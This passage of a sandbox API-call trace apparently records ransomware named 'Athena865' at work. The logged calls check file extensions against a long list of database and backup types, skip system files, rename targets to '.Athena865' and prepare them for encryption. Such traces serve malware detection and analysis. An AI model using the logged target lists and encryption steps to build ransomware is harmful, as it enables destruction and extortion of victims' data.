(lpString1="hmx", lpString2="fpt") returned 1 [0065.679] lstrlenW (lpString="frm") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.679] lstrlenW (lpString="gdb") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.679] lstrlenW (lpString="gdb") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.679] lstrlenW (lpString="grdb") returned 4 [0065.679] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.679] lstrlenW (lpString="gwi") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.679] lstrlenW (lpString="hdb") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.679] lstrlenW (lpString="his") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.679] lstrlenW (lpString="ib") returned 2 [0065.679] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.679] lstrlenW (lpString="idb") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.679] lstrlenW (lpString="ihx") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.679] lstrlenW (lpString="itdb") returned 4 [0065.680] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.680] lstrlenW (lpString="itw") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.680] lstrlenW (lpString="jet") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.680] lstrlenW (lpString="jtx") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.680] lstrlenW (lpString="kdb") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.680] lstrlenW (lpString="kexi") returned 4 [0065.680] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.680] lstrlenW (lpString="kexic") returned 5 [0065.680] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.680] lstrlenW (lpString="kexis") returned 5 [0065.680] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.680] lstrlenW (lpString="lgc") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.680] lstrlenW (lpString="lwx") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.680] lstrlenW (lpString="maf") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.680] lstrlenW (lpString="maq") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.680] lstrlenW (lpString="mar") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.680] lstrlenW (lpString="marshal") returned 7 [0065.680] lstrcmpiW (lpString1="id.thmx", lpString2="marshal") returned -1 [0065.680] lstrlenW (lpString="mas") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.680] lstrlenW (lpString="mav") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.680] lstrlenW (lpString="maw") returned 3 [0065.680] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.680] lstrlenW (lpString="mdbhtml") returned 7 [0065.681] lstrcmpiW (lpString1="id.thmx", lpString2="mdbhtml") returned -1 [0065.681] lstrlenW (lpString="mdn") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.681] lstrlenW (lpString="mdt") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.681] lstrlenW (lpString="mfd") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.681] lstrlenW (lpString="mpd") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.681] lstrlenW (lpString="mrg") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.681] lstrlenW (lpString="mud") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.681] lstrlenW (lpString="mwb") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.681] lstrlenW (lpString="myd") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.681] lstrlenW (lpString="ndf") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.681] lstrlenW (lpString="nnt") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.681] lstrlenW (lpString="nrmlib") returned 6 [0065.681] lstrcmpiW (lpString1="d.thmx", lpString2="nrmlib") returned -1 [0065.681] lstrlenW (lpString="ns2") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.681] lstrlenW (lpString="ns3") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.681] lstrlenW (lpString="ns4") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.681] lstrlenW (lpString="nsf") returned 3 [0065.681] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.681] lstrlenW (lpString="nv") returned 2 [0065.681] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.682] lstrlenW (lpString="nv2") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.682] lstrlenW (lpString="nwdb") returned 4 [0065.682] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.682] lstrlenW (lpString="nyf") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.682] lstrlenW (lpString="odb") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.682] lstrlenW (lpString="odb") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.682] lstrlenW (lpString="oqy") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.682] lstrlenW (lpString="ora") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.682] lstrlenW (lpString="orx") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.682] lstrlenW (lpString="owc") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.682] lstrlenW (lpString="p96") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.682] lstrlenW (lpString="p97") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.682] lstrlenW (lpString="pan") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.682] lstrlenW (lpString="pdb") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.682] lstrlenW (lpString="pdm") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.682] lstrlenW (lpString="pnz") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.682] lstrlenW (lpString="qry") returned 3 [0065.682] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.683] lstrlenW (lpString="qvd") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.683] lstrlenW (lpString="rbf") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.683] lstrlenW (lpString="rctd") returned 4 [0065.683] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.683] lstrlenW (lpString="rod") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.683] lstrlenW (lpString="rodx") returned 4 [0065.683] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.683] lstrlenW (lpString="rpd") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.683] lstrlenW (lpString="rsd") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.683] lstrlenW (lpString="sas7bdat") returned 8 [0065.683] lstrcmpiW (lpString1="rid.thmx", lpString2="sas7bdat") returned -1 [0065.683] lstrlenW (lpString="sbf") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.683] lstrlenW (lpString="scx") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.683] lstrlenW (lpString="sdb") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.683] lstrlenW (lpString="sdc") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.683] lstrlenW (lpString="sdf") returned 3 [0065.683] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.683] lstrlenW (lpString="sis") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.684] lstrlenW (lpString="spq") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.684] lstrlenW (lpString="te") returned 2 [0065.684] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.684] lstrlenW (lpString="teacher") returned 7 [0065.684] lstrcmpiW (lpString1="id.thmx", lpString2="teacher") returned -1 [0065.684] lstrlenW (lpString="tmd") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.684] lstrlenW (lpString="tps") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.684] lstrlenW (lpString="trc") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.684] lstrlenW (lpString="trc") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.684] lstrlenW (lpString="trm") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.684] lstrlenW (lpString="udb") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.684] lstrlenW (lpString="udl") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.684] lstrlenW (lpString="usr") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.684] lstrlenW (lpString="v12") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.684] lstrlenW (lpString="vis") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.684] lstrlenW (lpString="vpd") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.684] lstrlenW (lpString="vvv") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.684] lstrlenW (lpString="wdb") returned 3 [0065.684] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.685] lstrlenW (lpString="wmdb") returned 4 [0065.685] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.685] lstrlenW (lpString="wrk") returned 3 [0065.685] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.685] lstrlenW (lpString="xdb") returned 3 [0065.685] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.685] lstrlenW (lpString="xld") returned 3 [0065.685] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.685] lstrlenW (lpString="xmlff") returned 5 [0065.685] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.685] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.Athena865") returned 72 [0065.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.athena865"), dwFlags=0x1) returned 1 [0065.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.687] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=53984) returned 1 [0065.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.687] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.688] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.688] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.688] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd5e0, lpName=0x0) returned 0x17c [0065.691] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd5e0) returned 0x100000 [0065.695] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.696] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.696] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.697] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.697] CloseHandle (hObject=0x17c) returned 1 [0065.697] CloseHandle (hObject=0x154) returned 1 [0065.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.698] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2=".") returned 1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="..") returned 1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="windows") returned -1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="bootmgr") returned 1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="temp") returned -1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="pagefile.sys") returned -1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="boot") returned 1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="ids.txt") returned -1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="ntuser.dat") returned -1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="perflogs") returned -1 [0065.698] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="MSBuild") returned -1 [0065.698] lstrlenW (lpString="Hardcover.thmx") returned 14 [0065.698] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Hardcover.thmx" | out: lpString1="Hardcover.thmx") returned="Hardcover.thmx" [0065.698] lstrlenW (lpString="Hardcover.thmx") returned 14 [0065.698] lstrlenW (lpString="Athena865") returned 9 [0065.698] lstrcmpiW (lpString1="over.thmx", lpString2="Athena865") returned 1 [0065.699] lstrlenW (lpString=".dll") returned 4 [0065.699] lstrcmpiW (lpString1="Hardcover.thmx", lpString2=".dll") returned 1 [0065.699] lstrlenW (lpString=".lnk") returned 4 [0065.699] lstrcmpiW (lpString1="Hardcover.thmx", lpString2=".lnk") returned 1 [0065.699] lstrlenW (lpString=".ini") returned 4 [0065.699] lstrcmpiW (lpString1="Hardcover.thmx", lpString2=".ini") returned 1 [0065.699] lstrlenW (lpString=".sys") returned 4 [0065.699] lstrcmpiW (lpString1="Hardcover.thmx", lpString2=".sys") returned 1 [0065.699] lstrlenW (lpString="Hardcover.thmx") returned 14 [0065.699] lstrlenW (lpString="bak") returned 3 [0065.699] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.699] lstrlenW (lpString="ba_") returned 3 [0065.699] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.699] lstrlenW (lpString="dbb") returned 3 [0065.699] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.699] lstrlenW (lpString="vmdk") returned 4 [0065.699] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.699] lstrlenW (lpString="rar") returned 3 [0065.699] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.699] lstrlenW (lpString="zip") returned 3 [0065.699] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.699] lstrlenW (lpString="tgz") returned 3 [0065.699] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.699] lstrlenW (lpString="vbox") returned 4 [0065.699] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.699] lstrlenW (lpString="vdi") returned 3 [0065.699] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.699] lstrlenW (lpString="vhd") returned 3 [0065.699] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.699] lstrlenW (lpString="vhdx") returned 4 [0065.699] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.699] lstrlenW (lpString="avhd") returned 4 [0065.699] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.700] lstrlenW (lpString="db") returned 2 [0065.700] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.700] lstrlenW (lpString="db2") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.700] lstrlenW (lpString="db3") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.700] lstrlenW (lpString="dbf") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.700] lstrlenW (lpString="mdf") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.700] lstrlenW (lpString="mdb") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.700] lstrlenW (lpString="sql") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.700] lstrlenW (lpString="sqlite") returned 6 [0065.700] lstrcmpiW (lpString1="r.thmx", lpString2="sqlite") returned -1 [0065.700] lstrlenW (lpString="sqlite3") returned 7 [0065.700] lstrcmpiW (lpString1="er.thmx", lpString2="sqlite3") returned -1 [0065.700] lstrlenW (lpString="sqlitedb") returned 8 [0065.700] lstrcmpiW (lpString1="ver.thmx", lpString2="sqlitedb") returned 1 [0065.700] lstrlenW (lpString="xml") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.700] lstrlenW (lpString="$er") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.700] lstrlenW (lpString="4dd") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.700] lstrlenW (lpString="4dl") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.700] lstrlenW (lpString="^^^") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.700] lstrlenW (lpString="abs") returned 3 [0065.700] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.700] lstrlenW (lpString="abx") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.701] lstrlenW (lpString="accdb") returned 5 [0065.701] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.701] lstrlenW (lpString="accdc") returned 5 [0065.701] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.701] lstrlenW (lpString="accde") returned 5 [0065.701] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.701] lstrlenW (lpString="accdr") returned 5 [0065.701] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.701] lstrlenW (lpString="accdt") returned 5 [0065.701] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.701] lstrlenW (lpString="accdw") returned 5 [0065.701] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.701] lstrlenW (lpString="accft") returned 5 [0065.701] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.701] lstrlenW (lpString="adb") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.701] lstrlenW (lpString="adb") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.701] lstrlenW (lpString="ade") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.701] lstrlenW (lpString="adf") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.701] lstrlenW (lpString="adn") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.701] lstrlenW (lpString="adp") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.701] lstrlenW (lpString="alf") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.701] lstrlenW (lpString="ask") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.701] lstrlenW (lpString="btr") returned 3 [0065.701] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.702] lstrlenW (lpString="cat") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.702] lstrlenW (lpString="cdb") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.702] lstrlenW (lpString="ckp") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.702] lstrlenW (lpString="cma") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.702] lstrlenW (lpString="cpd") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.702] lstrlenW (lpString="dacpac") returned 6 [0065.702] lstrcmpiW (lpString1="r.thmx", lpString2="dacpac") returned 1 [0065.702] lstrlenW (lpString="dad") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.702] lstrlenW (lpString="dadiagrams") returned 10 [0065.702] lstrcmpiW (lpString1="cover.thmx", lpString2="dadiagrams") returned -1 [0065.702] lstrlenW (lpString="daschema") returned 8 [0065.702] lstrcmpiW (lpString1="ver.thmx", lpString2="daschema") returned 1 [0065.702] lstrlenW (lpString="db-journal") returned 10 [0065.702] lstrcmpiW (lpString1="cover.thmx", lpString2="db-journal") returned -1 [0065.702] lstrlenW (lpString="db-shm") returned 6 [0065.702] lstrcmpiW (lpString1="r.thmx", lpString2="db-shm") returned 1 [0065.702] lstrlenW (lpString="db-wal") returned 6 [0065.702] lstrcmpiW (lpString1="r.thmx", lpString2="db-wal") returned 1 [0065.702] lstrlenW (lpString="dbc") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.702] lstrlenW (lpString="dbs") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.702] lstrlenW (lpString="dbt") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.702] lstrlenW (lpString="dbv") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.702] lstrlenW (lpString="dbx") returned 3 [0065.702] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.703] lstrlenW (lpString="dcb") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.703] lstrlenW (lpString="dct") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.703] lstrlenW (lpString="dcx") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.703] lstrlenW (lpString="ddl") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.703] lstrlenW (lpString="dlis") returned 4 [0065.703] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.703] lstrlenW (lpString="dp1") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.703] lstrlenW (lpString="dqy") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.703] lstrlenW (lpString="dsk") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.703] lstrlenW (lpString="dsn") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.703] lstrlenW (lpString="dtsx") returned 4 [0065.703] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.703] lstrlenW (lpString="dxl") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0065.703] lstrlenW (lpString="eco") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.703] lstrlenW (lpString="ecx") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.703] lstrlenW (lpString="edb") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.703] lstrlenW (lpString="epim") returned 4 [0065.703] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.703] lstrlenW (lpString="fcd") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.703] lstrlenW (lpString="fdb") returned 3 [0065.703] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.704] lstrlenW (lpString="fic") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.704] lstrlenW (lpString="flexolibrary") returned 12 [0065.704] lstrcmpiW (lpString1="rdcover.thmx", lpString2="flexolibrary") returned 1 [0065.704] lstrlenW (lpString="fm5") returned 3 [0065.704] lstrcmpiW (lpString1="hmx", 